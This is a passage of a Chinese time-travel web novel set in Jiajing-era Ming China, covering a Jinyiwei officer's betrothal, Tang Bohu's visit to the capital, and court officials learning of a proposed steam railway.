这些天没见到初六,丁兰显得憔悴了不少,此时看到初六,眼睛顿时亮了。 “初六哥。” 丁兰来到初六面前,有些羞涩道。 “丁老爷,如今我和你丁家可算得上是门当户对了?” 初六抓着丁兰的手,再也不肯放开了,看着丁俊说道。 “大人说的哪里的话?是我丁家高攀了,高攀了。” 丁俊额头直冒冷汗道。 “既如此,我过几日便会找媒婆上门提亲,还望丁老爷做好准备。” 初六此时一刻都不想等,不过他也清楚,提亲这事急不得,有很多个步骤,合八字,算姻缘,还要找媒人保媒拉纤。 这才是明媒正娶的程序。 丁兰听到这话,脸瞬间红到了耳朵根,头低着一句话都不敢多说。 “这是自然,小人一定准备好,恭迎大人。” 丁俊赔笑道。 “丁老爷,有句话不知当讲不当讲?” 沈炼看着赔笑的丁俊说道。 “大人请说,请说。” 丁俊急忙说道。 “丁老爷应该清楚,这京城之中,没什么能瞒得过我们锦衣卫,丁老爷夜里如厕几次,我们锦衣卫想知道的话,都可以知道的一清二楚。” “以后贵千金嫁给初六之后,就是李家的媳妇,丁老爷和你们一家人最好不要从中使坏,这对你们一点好处都没有,你们应该想着如何对未来的姑爷好,这样将来初六说不定还能帮衬你们一家,你说对吧?” 沈炼看着丁俊,煞有介事道。 这话是周楚叮嘱沈炼,一定要说的。 倘若丁俊或者丁家从中使坏,不断地给丁兰灌输一些不好的想法,现在或许没什么,但时间久了,谁也保不准会不会生出什么变故。 周楚就是要把这一家死死按住,一点想法都不能让他们有。 “沈大人说的是,以后都是一家人了,兰儿把日子过好比什么都重要。” 丁俊赔笑道。 沈炼听到这话点了点头,丁俊是个商人,做任何事都会衡量利益得失,有了自己这番话,相信他应该清楚以后怎么做才会对丁家最好。 倘若他不蠢,就不会想着和初六对着干,这是对丁家最不利的做法。 丁兰看着初六身上的官服,此时才反应过来。 “初六哥,你是锦衣卫?” 初六听到这话,点了点头。 “这件事回头让你父亲和你说吧,我先走了,这次来就是为了见你一面。” 初六说着摸了摸丁兰的头。 丁兰顿时一脸的娇羞。 初六等人离开之后,丁兰看向了丁俊。 “爹,怎么回事?初六哥怎么会是锦衣卫?” 丁俊听到这话,脸色变了又变,本想发个火,但想到发火无济于事,没有任何好处,以后他们丁家还要指望着自己的这个女儿呢。 想明白这些,丁俊对自己女儿都陪着笑脸。 “初六和锦衣卫指挥使周大人有远房亲戚,今天刚被周大人提拔为锦衣卫总旗。” 初六并没有直接回家,而是去了周楚,初六很清楚,少爷还在家等着自己的消息呢。 “怎么样了?” 周楚看到初六之后,问道。 初六听到这话,心中无比感动,以少爷如今的身份地位,对自己的事还如此关心,怕自己受了委屈,今日为自己造足了声势。 初六曾经无数次在心中发誓,自己这一辈子要好好为少爷效命,现在更是在心中发誓,自己的命就是少爷的。 “很顺利。” 初六声音有些沙哑道。 “受委屈了?” 周楚看着初六眼看着要哭出来的样子,有些疑惑道。 “他只是太感动了,大人为他的事费心费力到这个地步。” 沈炼旁观者清,说道。 “多大点事,还值得流马尿?滚吧,回头去提亲之前来我这里一趟,你爹死了,我看着你长大的,虽说你我年龄差不了多少,但你提亲的礼我还是要出的。” 周楚看着初六道。 初六听到这话愈发感动,刚要说什么,就被周楚抬手打断了。 “少放屁,赶紧滚,我最看不得你这副模样。” 初六摸了摸自己的眼角,发现不知道什么时候流下了眼泪,听到周楚这话,默默地转过身去,不着痕迹地开始擦眼泪。 初六回到家中,脱下了锦衣卫的衣服,换上了常服,来到了醉仙楼。 “办妥了?” 孙强看着初六喜上眉梢的模样,说道。 初六听到这话,点了点头。 “我就说吧,本身屁大点事,你还伤春悲秋的,不像个爷们。” 孙强满脸不屑道。 “我只是没想到少爷会为了我做到这个地步。” 初六低声道。 “少爷重情重义,不说少爷会不会为了你做到这个地步,就凭你锦衣卫总旗的身份,那丁家敢放个屁?你就是太面了,丁俊拿准了你的性子,以前你在赌场做局的时候不是很懂人性吗?怎么这个时候就看不清了呢?” 孙强有些恨铁不成钢道。 初六听到这话,不好意思地挠了挠脑袋。 教训完初六,孙强叹了口气。 “以后这醉仙楼,你不能常来,你现在的身份不同以往了,一个锦衣卫总旗见天地往这里跑,这里的客人会害怕的。” 初六听到这话,顿时有些伤感。 “你那是什么表情?只是不能来醉仙楼了,咱爷俩还是住一起的,又不是不见面了,你还年轻,不可能一直在醉仙楼当伙计,人生都是一个阶段一个阶段的,你现在有了新的身份,自然要和过去做切割。” 孙强语重心长道。 ........ 皇宫,御书房之中,嘉靖看着周楚递过来的图纸。 “火车,铁轨?” 嘉靖满脸不解道。 “是的,陛下,这火车一旦开始运行,运力是极为惊人的,无论是山西的煤矿,还是草原上的羊毛制品,中间的运输费用都会大幅度降低,而且以后大明的百姓想要去其他地方,也不用舟车劳顿了,坐火车很快就能到。” 周楚解释道。 嘉靖听到这话,眼睛顿时亮了。 他看向周楚,目光灼灼。 “朕时常会想,你是不是天上的神仙下凡来帮助朕的,你怎么什么都会?” 周楚听到这话,擦了擦额头的冷汗,这个问题自己还真不好解释,好在这位陛下是坚定地道教信徒,很多事倒也不用解释,他自己就能找到说法。 “既如此,朕这就拟旨,让内阁通知户部,拨款给工部,全力建造铁轨。” 嘉靖豪气干云道。 周楚听到这话,顿时笑了,自己整顿工部,可不只是为了邵锡一家,不把工部的这些蛀虫拔了,鬼知道这些人会在铁轨的项目上捞多少。 第340章 唐伯虎再次进京,嘉靖下旨,内阁懵了 如今的户部,可不是正德年间的户部,现在的户部那叫一个有钱。 这些年从东瀛不断地运银子到大明,皇家钱庄的存银已经到了一个极其恐怖的数字。 户部掌管着国库,虽然皇家钱庄的钱财和国库以及户部没什么关系,但之前周楚不论是在京城抄了无数官员的家,还是在江南不停地抄家,这些钱财都有一部分入了国库。 再加上这几年实行考成法,原本收不上来的商税和农税基本都收上来了,再加上这两年不断增加的海税,户部的钱已经多到不知道该怎么花了。 他们看着国库里这么多钱,心里都在想着要不要搞个什么大项目,将这些钱花一花,如此一来,这些钱经他们手过一手,他们也能留下一手油。 户部的官员不像工部的官员那般贪得无厌,最主要的还是如今的户部尚书,不是别人,正是被调回京城的张璁。 张璁在南直隶当巡抚这几年,考成法实行的极其漂亮,无论是政绩还是其他方面都没得挑,户部掌管国库,交给其他人嘉靖也不放心,于是就把张璁调回了京城,掌管户部。 至于南直隶,王阳明已然丁忧结束,嘉靖直接把王阳明起复,让他官复原职,重新掌管南直隶,成为一省封疆大吏,同时王阳明还要管着整个书院。 书院明面上在余姚,但已经被拆分成了很多份,周楚的学生大多跟着周楚来到了京城,就连原本跑回去的严世蕃,在周楚回京之后,也被严嵩让人送到了京城。 严嵩发现自从自己这个儿子跟着周楚之后,比之前不知道强了多少,即便在严嵩眼中自己这个儿子一直都千好万好,但他不过是在骗自己罢了,严世蕃的改变他还是看在眼里的。 原本严嵩就想把严世蕃送回来,不过彼时周楚已然进藏,严嵩也就放弃了这个想法。 这两年时间,严世蕃没了周楚的严厉管教,有些旧态复发,于是严嵩得知周楚回京的消息之后,立刻让人马不停蹄地将严世蕃送到了京城。 王阳明的学生,则跟着他前往南京,王阳明和周楚都不在书院之中,唐伯虎自然也在书院之中待不住了,唐伯虎两年多没见周楚和文徵明了,于是带着自己的学生直接北上,再次来到了京城。 书院之中,只剩下聂豹和其他的一些夫子在教学。 这两年书院每年招生一次,每次招生都是爆满,即便是懒散如唐伯虎,名下的学生已经有四五十了。 “在那山上,我嘴里都淡出鸟来了,书院的厨子真不行,还得是醉仙楼,这菜做的。” 醉仙楼之中,唐伯虎一边说着,一边夹着菜放在口中,随后抿了一口酒,整个人露出了无比享受的神情。 “我就知道你在那余姚待不了多久了,这不前两天还和衡器说呢,你倒好,今天就进京了。” 文徵明忍不住调侃道。 “你现在好了,三品的高官,哪像我,现在只是个教书的夫子。” 唐伯虎看着文徵明,满脸郁闷道。 以前他经常嘲笑文徵明科举屡试不第,现在好了,文徵明真中了,他又难受了。 “不过是个闲职罢了,如今的陛下英明神武,我倒是没什么好劝诫的。” 文徵明笑道。 “呸!如今大明已然中兴,假以时日,超越汉唐也不是不可能,到了那个时候,陛下就是唐太宗,你就成了魏征了,名垂青史啊。” 唐伯虎越说越郁闷,心想大家都好好的,你当你的老秀才,我做我的酒鬼,你怎么突然高中了。 这还怎么玩? “我都这把年纪了,谁知道还能活几年,陛下还年轻,不过能看着大明走向春秋鼎盛,也足够了。” 文徵明说着端起酒杯,一饮而尽。 “老师若是想参加科举,我可以和陛下说一声,当年的科举舞弊案本就是冤案。” 周楚一边帮旁边的小徐渭夹菜,一边说道。 唐伯虎听到这话,却是摇了摇头。 要是在十年前,或者在去宁王那里之前,唐伯虎或许还想一展胸中抱负。 但如今的唐伯虎已经五十多了,没了当年的心气是一方面,另外一方面,唐伯虎很清楚自己的毛病,狂妄自大,一旦得势不知道要得罪多少人。 如果只是唐伯虎一人,唐伯虎倒也不在乎,得罪就得罪了,但唐伯虎一旦重新入仕,他很清楚自己身上就有着一个抹不掉的标签:周楚的老师。 届时唐伯虎得罪的人,就相当于周楚得罪的人,唐伯虎不想平白为周楚招惹麻烦,也不想成为朝堂之中周楚的弱点,让人平白攻讦自己这个学生。 更何况因为周楚的原因,如今的唐伯虎早已名满天下,他画的画更是一画难求,如今的唐伯虎无论是各个方面都很满意,还有了徐渭这个天才儿子。 如今的徐渭虽然才五岁,却已经初现端倪,那天赋不是一般的高,唐伯虎现在心里想着的,是如何把徐渭培养成才,这才是当下重中之重。 “还是算了吧,我这个脾气,不适合入仕,倒是徵明的性子极其沉稳老练,虽然人情世故差了点,但也不会得罪什么人。” 唐伯虎说着端起酒杯,和文徵明碰了碰杯,随后一饮而尽。 “你这个性子,确实容易得罪人,当年你刚中举的时候,天天在青楼纵酒狂放,言语之间不把天下读书人放在眼里,为这事,我还特意劝你,结果你倒好,回了一封信把我骂的狗血淋头。” 文徵明此时也是喝的有些微醺,说道。 “别提了,当年年少轻狂,不然也不会做这等蠢事,还是你老弟大人有大量,不和我一般计较。” 唐伯虎听到这话,悻悻地倒了一杯酒,端了起来。 “为兄我自罚一杯。” 唐伯虎说着,一抬杯子,杯中酒瞬间进了他的口。 唐伯虎自罚这一杯倒也不算多余,当初因为这事,他和文徵明很多年都没了联系,直到正德七八年的时候,两人才重归旧好,那之后没多久,唐伯虎就去了宁王那里。 对于唐伯虎和文徵明的对话,周楚并没有插话,这本身就是他们老哥俩之间的事,周楚这个做学生的在一旁听着就行。 周楚看着眼前的徐渭,终于理解了别人口中的灵气。 此时的徐渭虽然只有五岁,但整个人都充满了灵气,看着就和其他的孩子不一样,让周楚怎么看怎么喜欢。 怪不得上一世某个京剧神童被他的老师抢走,甚至不让他见父母。 这种充满灵气的孩子,世间少有。 “这孩子不是一般的灵,衡器你的眼光真不一般。” 唐伯虎看着徐渭,忍不住夸赞道。 有这么一个儿子,唐伯虎再也没了其他心思,满心想着的都是如何把徐渭培养成才。 “正好这段时间你们爷俩在京城,让这小子跟着我学一段时间书法吧。” 文徵明看着眼前的徐渭,也是怎么看怎么喜欢,这样的学生,谁不想要? 文徵明这话,唐伯虎倒是没有反驳,毕竟如今的大明,论书法,文徵明自认第二,无人敢认第一。 文徵明单靠一手字就在大明文坛成为泰山北斗一样的存在,他的字不只是第一这么简单,而是没什么人能接近。 就算是唐伯虎,论书法和文徵明差的也不是一星半点。 “过来,给你老师磕头,还没正式拜师呢。” 唐伯虎冲着徐渭招了招手道。 当初收养徐渭的时候,两人就曾开玩笑似的说过,等徐渭长大些,文徵明教他书法,唐伯虎教他画画,如今也算是圆了当初的诺言了。 另外一边,内阁接到了嘉靖建造铁路的圣旨,研究了半天不知道铁路是什么。 “用修,这铁路是什么?陛下为何要大兴土木建造这个东西?” 杨一清看着铁路的图纸,看了半天也没看出个所以然来。 杨慎也是一脸懵逼。 “不知道夏阁老有何高见?” 杨慎没有直接回答,而是将问题抛给了夏言。 夏言心想你们都不知道,我哪能知道。 “这等奇怪的图纸,我也是第一次见,不如我等一起进宫,问一问陛下,陛下应该不会无的放矢。” 夏言沉思了一会,说道。 “一起进宫就不必了,这么多人一起去再惊扰了陛下,还是我这把老骨头走一趟吧。” 杨一清说着抓起铁路的图纸就出了文渊阁。 对杨一清的话,无论是杨慎还是夏言都没有出言反驳。 因为杨一清说的很对,内阁所有阁员一起进宫,难道是要逼迫皇帝改旨意吗? 很快,杨一清就到了皇宫之中,来到了御书房。 “石淙,可是为了铁路的事前来?” 杨一清的到来,嘉靖早有预料,这铁路的图纸,他刚看的时候也是一脸懵,更不用说内阁众人了。 “陛下圣明,臣等实在是看不出这铁路当作何用,如此大兴土木,自然要慎重。” 杨一清行礼道。 “这件事说复杂也复杂,说简单也简单,你回去问你那孙子就知道了。” 嘉靖故作神秘道。 杨一清听到这话,想起了这两年自己的孙子杨盛斋回家的次数屈指可数,剩下的时间都在京城外的一个村子之中,不知道在干什么。 难道这铁路的建造和这小子还有关系? 一想到这种可能,杨一清顿感无比惊喜。 虽然他不清楚铁路的具体作用,但从嘉靖的圣旨来看,这将是一件影响整个大明的大工程,如果这等工程和自己的孙子有关,那将来自己孙子的前途.... 杨一清越想越高兴,当即按耐不住,向嘉靖告辞,出了皇宫,直接回到自己家中。 “盛斋现在在哪?” 杨一清看着自己的儿子杨质庵,问道。 “这小子最近一直宅南镇抚司,也不回家。” 杨质庵满脸不满道。 杨一清听到这话,瞥了自己的儿子一眼。 “你还不满,你知不知道,这小子最近替朝廷办了大事,你以后要是能有你儿子这般有出息,你爹我做梦都能笑醒。” 杨一清的话,杨质庵满脸羞愧。 “去把这小子叫回来,就说我有要事问他。” 杨一清看着自己的儿子就来气,不耐烦地摆了摆手道。 杨质庵听到这话,如蒙大赦,急忙出了杨府,直奔南镇抚司而去。 很快,杨盛斋不情不愿地被杨质庵带回了杨府。 “爷爷,你有什么事?快点问,我们的研究到了关键时刻。” 杨盛斋此时屁股如同着了火一般,根本坐不住,恨不得立刻回到南镇抚司。 “你们在做什么研究?” 杨一清看着自己的这个孙子,怎么看怎么满意,轻声问道。 “这事要保密,不能对外说。” 杨盛斋说道。 “你小子是不是想造反?连你爷爷也敢瞒着?” 杨质庵说着就要去拿棍子,教训一下自己这个儿子。 这两年杨质庵发现自己越来越比不上自己这个儿子了,当父亲的威严也荡然无存,这让他有些接受不了,现在好不容易逮着机会,他还不得重新给自己的儿子立立规矩? “你干什么?有你插话的份吗?” 杨一清看着自己这个不成器的儿子,怒斥道。 杨一清此话一出,杨质庵瞬间老实了。 “是陛下让我问你的,陛下下旨让户部拨款修建铁路,但我们看不懂那铁路是干什么的。” 杨一清看着自己的孙子,原本严肃的脸色瞬间变得柔和了起来。 杨盛斋听到这话,顿时恍然。 “原来如此,既然这样,那倒也没什么不能说的,我们正在研究的东西叫火车,是由钢铁铸造的车,到时候造成之后,就要在铁路上跑,一般的路面承受不了火车的压力。” 杨盛斋解释道。 杨盛斋不解释还好,这一解释,杨一清更糊涂了。 “火车是什么?钢铁铸造的车怎么跑起来,那得用多少匹马拉着?” 杨一清不解道。 “不需要马,用的是蒸汽机,这两年我们研究的就是蒸汽机,说不明白,爷爷你跟我去一趟南镇抚司就明白了。” 杨盛斋实在不知道该如何和自己的爷爷解释什么是蒸汽机,干脆带他去南镇抚司,见到实物他自然就清楚了。 “好,我这就随你去。” 杨一清笑道。 第341章 志得意满的杨一清,难受的夏言 杨一清跟着自己的孙子一路进了南镇抚司。 如果只是杨一清的话,想进南镇抚司就要麻烦一些,毕竟南镇抚司是锦衣卫重地,非锦衣卫人员一般是不让进的。 即便杨一清是内阁首辅,想进南镇抚司也要有充足的理由。 但此时他跟着杨盛斋就不一样了,为了方便海瑞和杨盛斋等人的研究,周楚给了他们相当高的权限,南镇抚司随意出入不说,南镇抚司的工匠还任由他们调遣。 杨一清跟着自己的孙子来到了南镇抚司衙门,很快就在南镇抚司的后院之中看到了一个钢铁怪物。 不是别的,正是经过海瑞和杨盛斋等人再次改良,适配于火车的蒸汽机。 杨一清看着眼前的钢铁怪物,即便是见多识广,也极其震惊。 “这就是你说的火车?” 杨一清看着杨盛斋问道。 “这不是火车,只是火车的动力系统,它叫蒸汽机,我给您演示一下。” 杨盛斋说着招呼旁边几个待命的锦衣卫。 “加水,烧炭,让蒸汽机运转起来。” 杨盛斋说道。 一旁的锦衣卫听到这话,开始有条不紊地忙活了起来,加水的加水,烧炭的烧炭。 这个蒸汽机不只是蒸汽机,为了研究出火车,他们还在蒸汽机上面接了很多传送轴,整个蒸汽机加上这些延伸出去的传动轴,显得很是唬人。 “唔!唔!唔!” 随着蒸汽机的温度不断提升,蒸汽机之中的蒸汽终于冲了出去,整个蒸汽机开始运转起来,随之而来的就是蒸汽机的轰鸣之声。 这夸张的声响,让一旁的杨一清看的目瞪口呆。 “这就是蒸汽机,蒸汽机通过烧炭,然后使水变成蒸汽获得动力,这些是传动轴,到时候会连到火车的车轮上面,车轮就会跟着转动,越转越快,速度也就越来越快。” 一旦涉及到物理学的知识,杨盛斋都显得异常认真,他很耐心的给自己的爷爷解释,试图让杨一清听懂蒸汽机及火车的运转原理。 然而杨一清听的一头雾水,什么蒸汽,什么传动轴,他根本不懂,不过当他看到那些传动轴居然被眼前的这个机器带动,并且速度越来越快的时候,他明白自己的孙子所说的火车的动力是怎么回事了。 “火车的图纸能不能给我看看?” 面对自己的孙子,杨一清第一次有了忐忑的心情,他很清楚,倘若皇帝不让任何其他人看图纸的话,即便是他,也没有那个权限看。 “看倒是可以看,现在火车的图纸只是老师画的草图,其中很多地方并不对,其他人看了也看不明白,只能看个外观。” 杨盛斋一边说着,一边带着杨一清来到了旁边的一个房间之中。 房间内,海瑞正在和其他人讨论传送轴该如何设计才能高效的将蒸汽机的能量传动到火车的车轮上面。 “盛斋,你怎么才来?” 海瑞看到杨盛斋,有些急切道。 “陛下已经下旨,要修建铁路了,这是我爷爷,内阁首辅,圣旨要经过内阁票拟才能到户部,之后户部才能拨款,他不明白火车是怎么回事,陛下让他来问我。” 杨盛斋有些无奈道。 海瑞听到这话,倒是没什么反应,更多的是为皇帝能下旨修建铁路而感到高兴,这就意味着一旦他们将火车弄出来之后,火车就可以直接上路了。 而不用到时候再去铺设铁路。 如此一来,效率不知道要高了多少。 不过海瑞也明白,想要让眼前这位老爷子明白火车怎么运转的,恐怕有些困难。 其他人则满脸羡慕地看着杨盛斋,杨盛斋的出身一直都是他们可望不可即的。 “见过首辅大人。” 海瑞等人行礼道。 “不必多礼,老夫想看看火车的图纸,不知可否?” 面对海瑞等人,杨一清没有自称本官,这些在他眼里都是自己孙子的同僚和好友,杨一清自然不会摆架子。 “自然可以。” 海瑞说着,将面前桌子上摊开的火车图纸拿到了杨一清面前。 “这就是老师画的火车图纸,不过老师说过,他也只是画个大概,将他心中构想的画了出来,其中很多地方并不对。” 海瑞一边将图纸递给杨一清,一边解释道。 杨一清接过图纸,看着图纸上面的三维结构图,顿时一阵头大,完全看不明白。 此时他和嘉靖是一样的想法。 这个周衡器的脑子到底是什么做的?难道真的是天上的神仙下凡不成?怎么什么都懂? 不过此时杨一清却没时间深想这个问题,他首先得弄明白这图纸画的是什么。 “这图纸老夫有些看不明白。” 杨一清看着自己的孙子和海瑞等人,有些羞赧道。 “这是老师教我们的三维视图,火车的具体模样,我们这两天也画了出来。” 杨盛斋说着从一旁的书架上拿下来另外一张图纸,正是用平面视图画出来的火车图案。 两张图纸相互印证,再加上杨盛斋和海瑞在一旁说明,杨一清终于弄清楚了火车的三维模型是什么样了。 刚才看到的蒸汽机,居然要放在火车里面,作为火车的动力系统,这火车得多大? “那蒸汽机真的能带动这么重的火车?” 杨一清有些不太相信道。 “可以的,有铁轨在,火车车轮和铁轨之间的摩擦系数很小,蒸汽机一旦运转起来,火车会慢慢加速,火车到达一定速度之后,就会匀速运动,匀速运动需要消耗的能量很小,只需要克服车轮和铁轨之间的摩擦力即可。” 海瑞一本正经的解释了起来。 杨一清是一句都没听明白,听的头大如斗,但不妨碍他明白这个蒸汽机真的能带动火车这个钢铁巨兽。 这就够了。 “老夫虽然还是不太懂,但看你们这么有信心,老夫就明白了,这张图纸我能否先带走,好跟同僚解释。” 杨一清指着海瑞他们画的火车的平面视图,说道。 海瑞等人听到这话,纷纷点了点头,这张图纸只是他们兴致所至,画出来的,实际上他们根本用不到,他们早就学会了阅读三维视图。 “盛斋,你忙吧,不用送我了。” 杨一清拿起图纸,看着杨盛斋说道。 杨盛斋只是看了一眼自己的爷爷,便转身继续和海瑞讨论起了传动轴的问题。 杨盛斋回头看了一眼自己的孙子一本正经忙碌的身影,心中感到无比欣慰。 他有一种预感,大明会在自己的孙子这些人手中迎来重大的变革。 一想到这里,杨一清的脚步都轻快了些。 他在回文渊阁的路上甚至已经想好了一会该如何向自己的同僚炫耀这火车是自己的孙子和其他人一起设计的。 “大人,陛下怎么说?” 杨慎看着志得意满的杨一清,满脸不解,自己等人不过是让他去皇宫之中问陛下这铁路到底是什么,怎么此时他脸上一股扬眉吐气的表情。 不只是杨慎,夏言和贾咏也都看出来了。 “各位看这个。” 杨一清说着将自己手中的图纸在书案上铺开了。 “诸位请看,这是火车的图纸。” 杨一清说道。 “火车?那是什么?” 杨慎等人看着图纸,顿感一头雾水。 “火车说来话长。” 杨一清喝了一口茶水,随后将自己在南镇抚司的所见所闻,一五一十的说给了众人。 不过杨一清看到的很难准确的描述给众人,特别是这个时代,原本就没有蒸汽机,杨慎等人根本没见过这东西,人杨一清口吐莲花,他们脑海之中对蒸汽机也形成不了画面。 “看到没,这蒸汽机,就是我那小孙子和他的一众同僚弄出来的,还有这火车和铁轨,周衡器也把这个东西交给他们来弄了。” 杨一清终于说出了这句话,顿感神清气爽。 他是爽了,杨慎等人看着他装了个大的,顿感无比难受。 虽然他们想不明白蒸汽机是什么,但按照杨一清的说法,这个蒸汽机能带动图纸上的这个钢铁怪物在铁轨上行驶,还能拉货物或者坐人,要真是这样的话,这可是一件利国利民的大工程啊。 “有了这东西,山西的煤矿运到京城岂不是轻而易举?还有那草原上的羊毛制品?” 杨慎看着眼前的图纸,说道。 夏言和贾咏听到这话,顿时感到无比后悔,当初那些藩王一起投资草原上的羊毛制品,他们还嘲笑这些人跟着周楚瞎折腾,光是高昂的运输费用,就让他们白玩。 现在他们才明白,原来周衡器一早就想到了要弄这东西,有了这个东西,那些羊毛制品的运输成本将会被大大降低。 一想到这些,无论是夏言还是贾咏都感觉损失了好多钱,当初刚开始投资的时候,他们也是可以进入草原分到份额的,不过他们觉得这其中根本没有什么利润,就没弄。 现在草原上的牧场已经被瓜分的差不多了,现在想要再插一脚?门也没有。 倒是杨廷和,当初在老家得到了这个消息,杨廷和不懂这些,但他懂周楚,他为了主动向周楚示好,将自己的大半家产都私下里献给了皇帝,其中一部分还是单独给周楚的,为的就是拿到草原上羊毛制品的份额。 当然,这些都是通过杨慎和周楚谈的,杨廷和既然如此识趣,无论是嘉靖还是周楚都不打算继续为难他了,草原上的牧场很大很多,分给杨家一些倒也无妨。 不过杨慎对这些倒不是很在意,在他看来,家中的钱财够他花销,够他饮酒作乐就好了。 因此杨慎对于这个消息反应倒不是很大。 倒是杨一清,内心则暗爽,因为当初草原上他们家也分到了一块不小的牧场,这两年他们家的下人专门打理着。 杨一清和杨廷和的看法如出一辙,他们不懂草原上这些东西,也不太懂生意,但他们懂周楚。 要知道周楚可是商人出身,论经商不说无人能及,但如今的大明,生意做的比周楚好的,没几个。 杨一清可是很清楚,周楚手下的产业数不胜数,周楚有多少钱,恐怕他自己都不清楚。 如今的杨一清,可谓是人财两收,一方面自己的孙子让他扬眉吐气,另一方面,草原上的生意在未来恐怕会为他们杨家带来极其可观的利润。 有了这个生意,杨家以后很多代都不用为钱财发愁了。 “下官身体不适,想回家休息。” 夏言脸色难看道。 眼看着杨一清满脸得意,夏言此时无比难受,自然不想在这文渊阁继续待下去了。 所幸此时也已经下午了,倘若没什么事,他们倒是可以提前回家的。 “夏大人,不是老夫说你,你一定要注意节制啊,你才四十多,你看老夫,都七十多了,还老当益壮,老夫倒是懂一些滋补的方子,回头写给你?” 杨一清看着夏言难受的表情,心中更爽了,忍不住调侃道。 “多谢首辅大人好意,方子就算了,下官已经让医生开了方子了。” 夏言此时脸色愈发难看,两年多以前他为了不被毛纪波及,在朝堂上说自己亏了身子,一般的官员自然是不敢提这件事,讳莫如深,但杨一清可不在乎这些,这两年杨一清没少拿这件事调侃夏言。 夏言也只能捏着鼻子认了,毕竟是他自己说出来的。 “夏大人别急,先拟票吧,拟票结束再回家。” 一旁的杨慎忍着笑意说道。 有了杨一清的背书,拟票的过程很快,全票通过,很快圣旨就由内阁送到了户部。 户部接到了嘉靖的旨意,让他们拨款修建从京城到江南、江西太原和大同以西的铁路。 刚接到这个旨意的时候,户部的官员全都一脸懵逼,完全不懂铁路是什么。 直到嘉靖让人将铁路的图纸送到了户部。 户部的一众官员看着铁路的图纸,虽然不明白这东西是做什么的,但这道圣旨是内阁票拟通过的,这就意味着这个工程是上面一致同意的。 户部的官员正愁没什么工程花钱呢,现在大工程来了,他们又怎么会有意见。 户部官员根据图纸大致估算出了每里铁路的建造成本,随后写了个奏疏递给了嘉靖。 嘉靖拿到奏疏之后,当即叫人将周楚叫到了宫中。 “衡器,这是户部给的成本奏疏,你看一看。” 嘉靖说着将手中的奏疏递给了黄锦,黄锦又递给了周楚。 周楚打开奏疏看了看。 “成本高了些,枕木的成本没那么高,还有这些石子,以及钢铁,大规模冶铁的话,成本会再度压缩,陛下可以打回去让他们重新核算。” 周楚虽然很多年不做生意了,但还是一眼就看出了其中的猫腻。 户部给出的成本都是比民间的价格还高一些的,这种大规模成建制的东西,成本价格只会比民间低很多。 户部可以过一手油,但不能从中卡太多。 嘉靖听到这话,顿时了然,将奏疏递给了黄锦。 “打回户部,让他们重新核算。” 第342章 周楚对张璁的敲打,红光满面的杨一清 “这铁路这么长的路程,想要尽快完工,朕觉得分段施工比较合适。” 御书房之中,嘉靖将户部的核算奏疏打回去之后,看着周楚道。 “陛下所言甚是,没想到陛下对工程之事还如此精通。” 周楚拍了个龙屁道。 嘉靖听到这话,顿感神清气爽,拍他龙屁的人多了去了,但其他人要么说不到点子上去,要么身份不够。 但周楚不同,周楚似乎把什么都想明白了,连这铁路和火车都能想出来并加以实施,嘉靖觉得周楚就是上天派下来辅佐自己的。 对于周楚的恭维,嘉靖感觉异常享受。 “朕也不是很懂,只是觉得这么一条线路施工过去的话,会很慢,想要把这些铁路修好,不知道要修到何年何月。” 嘉靖看着地图,感慨道。 “这就需要工部之人把这几条铁路的精确路线图画出来,如此一来分段施工的话,才不至于有误差,而且每一段铁路的工程,可以分别让当地的商人或者是藩王府承建,每一段铁路归谁负责都要记录在册,甚至在铁路上刻上负责之人的名字,将来哪一段铁路出了问题,直接抄家灭族,如此可保铁路无虞。” 周楚指着地图,侃侃而谈道。 嘉靖听到这话,才明白周楚一开始就准备分段建造铁路,不过嘉靖并没有因此感到沮丧,反而因为自己和周楚想到了一处,显得格外高兴。 “只是如此一来,各地的钢铁恐怕跟不上吧?难道要在各地都建造炼钢所?” 嘉靖看着周楚,问道。 “此时倒也简单,各地有铁矿的,可以就地建造炼钢所,大明未来对钢铁的需求会很大,毕竟不止修建这几条铁路,未来整个大明都要修上铁路,炼钢所可以持续使用十几年甚至数十年。” 周楚正说着,嘉靖亲自给周楚倒了杯茶,递给了周楚,周楚接过茶杯,喝了一口,顿感口齿生津。 “没有铁矿的,就近从其他地方的炼钢所买,所有炼钢所统一定价,让炼钢所有利所图,但又不会赚太多,同时这些炼钢所,能让各地的百姓,或者流民进入其中做活,能多养活很多人。” 周楚继续说道。 “还有东瀛,东瀛不止有银矿,铁矿也不少,陛下给汪直一道旨意,让他建一所大的炼钢所,炼好的钢铁用船运往大明。” 嘉靖听到这话,眼睛顿时亮了。 他没想到周楚考虑的这么周全,连东瀛那边的情况都考虑到了,倘若有东瀛一起炼钢的话,大明钢铁的压力就降低了很多。 而且东瀛的劳动力不需要什么成本,给那些东瀛人吃的就行,东瀛来的钢铁最大的成本是运输成本,不过这些船队本身就要运送白银和其他物资的,不过是这段时间将其中一些船运输的货物换成钢铁罢了。 如今大明的白银储量已经够多了,对白银的需求没那么高了,完全可以短时间内先运输钢铁。 “没想到衡器考虑的这般周全,就按你说的去办,朕这就给汪直拟旨。” 嘉靖说着便来到了书案跟前,提笔就开始写。 另外一边,户部的一众官员眼看着皇帝将奏疏驳回了,并没有很意外。 这种核算成本的奏疏,刚开始都是往高了开,皇帝往下压,这些都是户部和皇帝之间的扯皮,户部的官员都想为自己争取更大的利益。 这一点,即便张璁身为户部尚书,也不好横加指责,他如果这么做的话,恐怕户部的这些官员对他这个户部尚书心里都会不服气。 这可不是张璁想看到的局面。 但嘉靖和周楚为何将他调回京城,张璁也很清楚,制约这些户部官员又是他必须要做的事,这其中的平衡,需要张璁自己去拿捏。 “张大人,陛下让我等重新核算,大人认为该报个什么价格合适?” 户部的一个官员看着张璁问道。 这个问题还真问不住张璁。 “诸位这个奏疏确实有些离谱了,如今周大人可是在京城,本官这两日听闻这铁路的建造正是周大人主张的,周大人以前又是从商出身的,你们以为你们的那点小心思瞒得过周大人?诸位看不到前些天工部那些官员的下场?你们以为周大人为何整治工部?” 张璁很清楚,自己作为户部尚书,不能惯着这些官员,适当的敲打还是必要的,当然这种敲打要让他们觉得自己是站在他们的角度为他们考虑才行。 这其中有很深的门道。 户部众人听到这话心中一凛,互相看了一眼。 “这件事下官倒是有所耳闻,下官听说是因为工部的邵锡家的那个废物招惹了周大人身边的护卫一家,这才惹来了祸事。” 其中一个官员说道。 张璁听到这话,却是摇了摇头。 “诸位看事情怎可如此简单,倘若真是因为此事,周大人直接让人将邵家之人抓了不就行了?何必动工部这么多人?” 张璁反问道。 听到这话,所有人都陷入了沉默之中。 